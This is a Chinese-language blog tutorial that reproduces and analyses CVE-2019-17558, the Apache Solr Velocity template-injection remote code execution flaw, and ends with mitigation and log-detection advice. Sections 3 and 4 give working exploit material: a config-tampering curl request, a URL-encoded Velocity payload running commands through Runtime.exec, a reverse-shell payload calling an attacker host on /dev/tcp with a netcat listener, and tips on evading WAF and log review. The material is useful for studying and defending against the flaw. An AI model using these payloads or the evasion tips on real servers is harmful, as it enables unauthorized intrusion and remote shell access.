1. 项目概述一次针对Apache Solr的深度安全审计实践最近在整理内部资产的安全风险时发现几台老版本的Apache Solr服务器还在线上运行。Solr作为一个基于Java的全文搜索服务器在很多企业的数据中台和搜索业务中扮演着核心角色。但很多运维同学可能只关注了它的搜索性能却忽略了其潜在的安全配置风险。这次我重点复现和分析的就是那个在2019年底被披露但至今仍有不少未修复实例在线的CVE-2019-17558漏洞。这个漏洞的本质是Velocity模板注入导致的远程代码执行RCE攻击者一旦利用成功可以直接在服务器上执行任意命令危害极大。我写这篇指南的目的不仅是提供一个复现的“操作手册”更是想深入拆解漏洞的成因、利用链的构造逻辑以及在实际渗透测试或安全加固中如何更灵活地运用和防御这种攻击。无论你是安全研究人员、渗透测试工程师还是负责运维Solr的开发者理解这个漏洞的完整脉络都能帮助你更好地评估风险、编写检测规则或进行彻底修复。2. 漏洞原理深度剖析Velocity模板引擎为何成为突破口2.1 Solr与Velocity响应写入器的工作机制要理解CVE-2019-17558首先得弄清楚Solr中VelocityResponseWriter这个组件是干什么的。简单来说Solr处理完用户的搜索请求后需要将结果以某种格式如XML、JSON、CSV返回给客户端。VelocityResponseWriter就是负责将数据渲染成Velocity模板格式的输出组件。Velocity本身是一个基于Java的模板引擎它允许开发者在模板文件中使用一种简单的语法VTL来引用和操作Java对象。在Solr的默认配置中VelocityResponseWriter是存在的但它的params.resource.loader.enabled参数默认是false。这个参数的名字很关键resource.loader指的是资源加载器当它被禁用时Solr只会从预定义的、安全的路径如template.base.dir指定的目录加载Velocity模板文件。这里的安全边界就在于模板内容是受控的、静态的文件。然而问题就出在这个params.resource.loader.enabled开关上。如果它被设置为true就意味着Velocity引擎允许从HTTP请求参数params中动态加载模板内容。想象一下这就像是一个原本只允许读取本地菜谱的厨师突然被允许直接接受陌生人递过来的、未经验证的“烹饪指令”其危险性不言而喻。2.2 配置篡改与注入链的形成漏洞利用的第一步就是通过Solr提供的配置API将params.resource.loader.enabled设置为true。Solr为每个核心Core提供了一个配置管理端点通常是/solr/{core_name}/config支持通过HTTP POST请求更新其运行时配置。攻击者正是利用了这个合法的管理功能注入了一个恶意的配置更新。这个更新请求的Payload结构非常清晰{ update-queryresponsewriter: { startup: lazy, name: velocity, class: solr.VelocityResponseWriter, template.base.dir: , solr.resource.loader.enabled: true, params.resource.loader.enabled: true } }它精准地定位了名为“velocity”的queryresponsewriter并修改了其关键的安全参数。一旦这个POST请求成功该Solr核心的Velocity响应写入器就进入了“不安全模式”。注意很多公开的复现文章只强调了params.resource.loader.enabled但实际Payload中通常同时设置solr.resource.loader.enabled为true。后者允许从Solr资源路径加载模板虽然在此漏洞利用中不是必须的但一起开启能确保资源加载器被完全激活避免因环境差异导致利用失败。这是一个值得记录的细节。2.3 从模板注入到Java代码执行当资源加载器对参数开放后攻击者就可以在发起搜索请求时通过v.template.custom参数传入自定义的Velocity模板代码。Velocity模板语言本身功能强大它支持#set指令定义变量支持调用Java对象的方法。漏洞利用Payload的精髓就是利用Velocity的这些特性在模板中通过反射机制动态获取并调用java.lang.Runtime类来执行系统命令。我们拆解一下那个经典的Payload片段#set($x) #set($rt$x.class.forName(java.lang.Runtime)) ...#set($x)定义一个空字符串变量$x。在Java中字符串也是对象拥有getClass()方法。$x.class.forName(java.lang.Runtime)通过字符串对象的class属性获取其Class对象然后调用forName方法动态加载java.lang.Runtime类。这里利用了Velocity可以直接调用对象方法的特性。后续通过getRuntime().exec()执行命令并读取进程的输出流最终将命令执行结果嵌入到HTTP响应中返回。这个过程完美绕过了Solr对用户输入内容作为数据处理的预期将其提升为代码执行。这不仅仅是简单的参数污染而是一次完整的、从配置篡改到代码注入的链式攻击。3. 漏洞复现环境搭建与核心步骤详解3.1 快速搭建漏洞测试环境为了安全地研究和验证漏洞我强烈建议在隔离的虚拟机或Docker环境中进行。使用Vulhub项目提供的环境是最快捷的方式它已经集成了存在漏洞的Solr版本和必要的配置。# 1. 克隆Vulhub仓库 git clone https://github.com/vulhub/vulhub.git cd vulhub/solr/CVE-2019-17558 # 2. 构建并启动容器 docker-compose build docker-compose up -d执行上述命令后一个运行着Apache Solr 8.2.0受影响版本的容器就会在后台启动默认监听8983端口。接下来我们需要创建一个Solr核心Core因为漏洞是针对特定核心的配置进行攻击的。# 3. 进入容器并创建测试核心 docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db这里-c test指定了核心名称为test-d参数指定了配置目录。创建成功后访问http://your_vm_ip:8983/solr/就能看到Solr的管理界面在Core Selector下拉菜单中应该能看到test核心。实操心得有时使用docker-compose exec创建核心可能会失败提示目录不存在。更稳妥的方法是直接通过Solr的API创建。访问http://your_vm_ip:8983/solr/admin/cores?actionCREATEnametestinstanceDirtestconfigSet_default同样可以创建核心。多掌握一种方法在复现时能避免卡在环境准备阶段。3.2 漏洞利用第一步探测与配置篡改在发起攻击前我们需要确认目标核心的存在。可以通过Solr的Admin API来获取所有核心列表GET /solr/admin/cores?indexInfofalsewtjson在返回的JSON中status字段下的键名就是可用的核心名称。确认核心名例如test后就可以发起关键的配置篡改请求了。我使用curl命令来演示这比在Burp Suite里手动粘贴更清晰也便于写成脚本。curl -X POST http://192.168.1.100:8983/solr/test/config \ -H Content-Type: application/json \ -d { update-queryresponsewriter: { startup: lazy, name: velocity, class: solr.VelocityResponseWriter, template.base.dir: , solr.resource.loader.enabled: true, params.resource.loader.enabled: true } }请将192.168.1.100替换为你实验环境的真实IP。如果请求成功服务器通常会返回一个空的JSON对象{}或者包含更新状态的响应。这一步没有任何回显是正常的关键在于后续的测试。3.3 构造并执行命令注入Payload配置篡改成功后就可以通过搜索接口注入Velocity模板了。一个用于测试命令执行如whoami的完整URL构造如下http://192.168.1.100:8983/solr/test/select?q*:*wtvelocityv.templatecustomv.template.custom%23set($x%27%27)%20%23set($rt$x.class.forName(%27java.lang.Runtime%27))%20%23set($chr$x.class.forName(%27java.lang.Character%27))%20%23set($str$x.class.forName(%27java.lang.String%27))%20%23set($ex$rt.getRuntime().exec(%27whoami%27))%20$ex.waitFor()%20%23set($out$ex.getInputStream())%20%23foreach($i%20in%20[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end这个URL看起来很复杂但主要是URL编码后的结果。解码后核心的Velocity模板部分是这样的#set($x) #set($rt$x.class.forName(java.lang.Runtime)) #set($chr$x.class.forName(java.lang.Character)) #set($str$x.class.forName(java.lang.String)) #set($ex$rt.getRuntime().exec(whoami)) $ex.waitFor() #set($out$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end发送这个GET请求后如果漏洞存在且利用成功响应体中就会包含命令whoami的执行结果例如solr。这里有几个关键参数需要理解q*:*这是Solr的查询语法表示匹配所有文档。这里查询什么不重要主要是为了触发搜索请求。wtvelocity指定响应写入器Write Type为Velocity这是触发漏洞利用路径的关键。v.templatecustom告诉Velocity引擎使用自定义模板。v.template.custom这里就是承载恶意Velocity模板代码的参数。注意事项在实际测试中如果服务器返回“Error 500”通常意味着命令执行本身成功了但命令的输出可能包含了某些字符导致Velocity引擎在渲染最终响应时出错。例如ls -la命令输出的换行符、特殊符号可能会破坏模板结构。这并不代表漏洞利用失败只是回显不完整。对于反弹Shell这种不需要回显的操作500错误反而是正常的。4. 高级利用绕过限制与反弹Shell实战4.1 命令构造的陷阱与绕过技巧直接执行像bash -c bash -i /dev/tcp/attacker_ip/port 01这样的标准反弹Shell命令在Solr这个Java进程中很可能会失败。原因有二一是命令中的重定向符号和01在由Java的Runtime.exec()执行时解析方式与在真正的Shell环境中不同二是命令中可能包含空格、引号、特殊符号在URL传递和Velocity模板解析时容易被错误处理。经过多次测试我发现一个非常可靠的变形Payload/bin/bash -c $|bash 0 echo bash -i /dev/tcp/ATTACKER_IP/ATTACKER_PORT 01这个命令的巧妙之处在于利用了$和管道|。$代表传递给脚本的所有参数。当bash -c执行时$在这里是空的但整个字符串$|bash 0 echo ...被当作一个命令参数。管道|左边的$输出为空然后通过管道传递给另一个bash进程这个进程以0和echo bash -i ...作为参数。这种写法能有效地绕过Java执行环境对重定向符号的直接解析让命令最终在一个完整的bash子shell中正确执行重定向操作。4.2 Payload的编码与最终注入我们不能直接将上面的命令粘贴到v.template.custom参数里必须进行URL编码确保它在HTTP请求中不会破坏结构。编码后的Payload片段如下以攻击机IP为10.0.0.1端口为4444为例%2Fbin%2Fbash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26%2Fdev%2Ftcp%2F10.0.0.1%2F4444%200%3E%261然后我们将这个编码后的命令字符串替换掉之前测试whoami时的命令部分构造出最终的漏洞利用URLhttp://192.168.1.100:8983/solr/test/select?q*:*wtvelocityv.templatecustomv.template.custom%23set($x%27%27)%20%23set($rt$x.class.forName(%27java.lang.Runtime%27))%20%23set($chr$x.class.forName(%27java.lang.Character%27))%20%23set($str$x.class.forName(%27java.lang.String%27))%20%23set($ex$rt.getRuntime().exec(%27%2Fbin%2Fbash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26%2Fdev%2Ftcp%2F10.0.0.1%2F4444%200%3E%261%27))%20$ex.waitFor()%20%23set($out$ex.getInputStream())%20%23foreach($i%20in%20[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end在攻击机上我们需要提前用Netcat监听对应的端口nc -lvnp 4444当向目标Solr服务器发送上述构造的HTTP请求后如果一切顺利在Netcat监听端就会收到一个反弹回来的Shell连接。这个过程可能稍有延迟并且服务器端很可能返回“Error 500”但这不影响反弹Shell的建立。4.3 自动化利用脚本解析与改进网上有很多公开的Python利用脚本其逻辑基本一致但我们可以对其进行优化使其更健壮和隐蔽。核心函数通常包括核心发现、配置篡改、命令执行。这里我分享几个改进点增加错误处理与超时在发送配置更新POST请求后可以增加一个对/solr/test/select?q*:*wtvelocity的简单探测请求检查是否返回了Velocity相关的错误信息如org.apache.solr.common.SolrException这比单纯看HTTP 200状态码更能确认配置是否生效。命令回显处理原始Payload对于有特殊字符的命令输出处理不好。可以改进输出读取部分将其先Base64编码再回传。在Velocity模板中可以调用java.util.Base64编码器Java 8来处理命令输出流然后在客户端解码。隐蔽性考虑连续的POST配置更新和GET命令执行请求在WAF或日志审计中可能显得可疑。可以考虑将配置更新的Payload拆分或者利用Solr配置缓存机制将攻击动作分散在不同时间进行。一个改进版的命令执行函数思路如下伪代码逻辑import base64 def execute_command_encoded(target_url, core_name, command): # 将命令输出Base64编码的Velocity模板 # 先执行命令然后将输出通过Base64编码后返回避免特殊字符问题 encoded_payload #set($x) #set($rt$x.class.forName(java.lang.Runtime)) #set($ex$rt.getRuntime().exec(COMMAND_PLACEHOLDER)) $ex.waitFor() #set($out$ex.getInputStream()) #set($bytes[]) #foreach($i in [1..$out.available()]) #set($void$bytes.add($out.read())) #end #set($cls$x.class.forName(java.util.Base64)) #set($encoder$cls.getEncoder()) $encoder.encodeToString($bytes.toArray()) .replace(COMMAND_PLACEHOLDER, command.replace(, \\)) # ... 发送请求并解码返回的Base64字符串 ...这样无论命令输出什么内容回显都是干净的Base64字符串极大地提高了成功率。5. 漏洞防御与安全加固实战指南5.1 立即缓解措施与版本升级对于正在受此漏洞影响的系统最直接有效的措施就是升级Apache Solr到安全版本。Apache官方在漏洞披露后发布了修复版本应升级至8.3.1及以上或相应的后续安全版本。升级前务必做好备份和测试。如果因为业务原因无法立即升级可以采取以下临时缓解措施禁用VelocityResponseWriter在solrconfig.xml文件中找到与VelocityResponseWriter相关的配置部分通常在queryResponseWriter标签内将其注释掉或删除。或者将其class属性指向一个无害的类但这需要自定义开发。配置防火墙规则严格限制访问Solr管理接口默认/solr/admin和/solr/{core}/config的源IP只允许运维管理终端访问。业务应用只需要访问搜索接口/solr/{core}/select等。检查并重置配置立即检查所有Solr核心的配置确认params.resource.loader.enabled和solr.resource.loader.enabled是否为false。可以通过config API的GET请求进行查询。5.2 安全配置最佳实践除了针对此漏洞的修复从长远来看构建安全的Solr部署需要遵循以下原则最小权限原则运行Solr的进程如solr用户应仅拥有必要的文件系统读写权限避免使用root用户运行。网络隔离Solr服务器不应直接暴露在公网。应部署在内网通过API网关、反向代理如Nginx对外提供搜索服务并在代理层设置严格的请求过滤和速率限制。启用认证授权为Solr管理界面启用Basic认证或更安全的认证方式如通过反向代理集成企业单点登录。对于Solr 8.x及以上版本可以配置其内置的认证和基于角色的授权功能。定期安全审计使用漏洞扫描工具定期扫描Solr服务同时人工审查solrconfig.xml和schema.xml等配置文件确保没有启用不必要的、潜在危险的功能组件如脚本处理器、自定义插件等。5.3 入侵检测与日志监控即使做了防护监控和检测能力也必不可少。在Solr的日志中应重点关注以下可疑行为对/config端点的POST请求尤其是请求体中含有params.resource.loader.enabled字段的。这通常是攻击的第一步。异常的wt参数值正常的搜索请求大多使用wtjson或wtxml。突然出现大量wtvelocity的请求尤其是结合了奇怪的v.template.custom参数时是强烈的攻击信号。日志中的Java异常栈攻击Payload执行失败时可能会在Solr日志如solr.log中留下VelocityException或InvocationTargetException等异常信息其中可能包含攻击者尝试执行的命令片段。可以配置ELKElasticsearch, Logstash, Kibana或类似的日志分析平台对Solr访问日志和错误日志建立告警规则实时捕捉上述模式。6. 从漏洞复现到深度思考模板注入的攻防博弈复现CVE-2019-17558绝不仅仅是为了执行一条whoami命令或获取一个反弹Shell。这个漏洞是一个绝佳的样本揭示了模板注入类漏洞的通用攻击模式寻找可控的模板参数 - 激活不安全的动态加载功能 - 注入模板语法实现代码执行。这种模式在Jinja2Python、FreemarkerJava、ThymeleafJava等其他模板引擎中也屡见不鲜。对于防御方而言启示是深刻的默认安全任何允许动态加载或执行用户输入的功能默认必须关闭。Solr的这个参数默认false是正确的但提供了开启的途径就是风险。输入净化与上下文感知对于模板引擎简单的关键字过滤如过滤Runtime很容易被绕过如使用反射Class.forName。最根本的解决方法是进行严格的上下文感知的输出编码或者使用沙箱机制如Java Security Manager来限制模板代码的执行权限。Apache Solr在后续版本中彻底移除了通过参数动态加载模板的能力这就是治本之策。组件安全清单在引入像Velocity、Freemarker这样的第三方模板引擎时必须将其安全配置作为上线前检查清单的必选项。了解其安全模式、沙箱选项并按照最小功能原则进行配置。对于攻击方在授权测试范围内这个漏洞的利用过程锻炼了几项关键技能对目标系统组件的深入理解Solr配置API、对利用链的拼接能力配置篡改代码注入、对Payload的编码和变形以绕过潜在过滤。更重要的是它提醒我们在审计一个系统时不仅要看它对外的主要功能接口更要关注那些用于配置、调试、管理的“后台”接口这些往往是安全防线最薄弱的地方。整个复现和分析过程就像一次完整的安全事件推演。从环境搭建、信息收集到利用链构造、权限提升反弹Shell最后到痕迹清理虽然本文未涉及和防御加固形成了一个闭环。掌握这样一个经典漏洞的方方面面其价值远超漏洞本身它为我们分析和应对未来可能出现的新型漏洞提供了方法论和实战经验。在安全领域知其然更要知其所以然这才是持续进步的关键。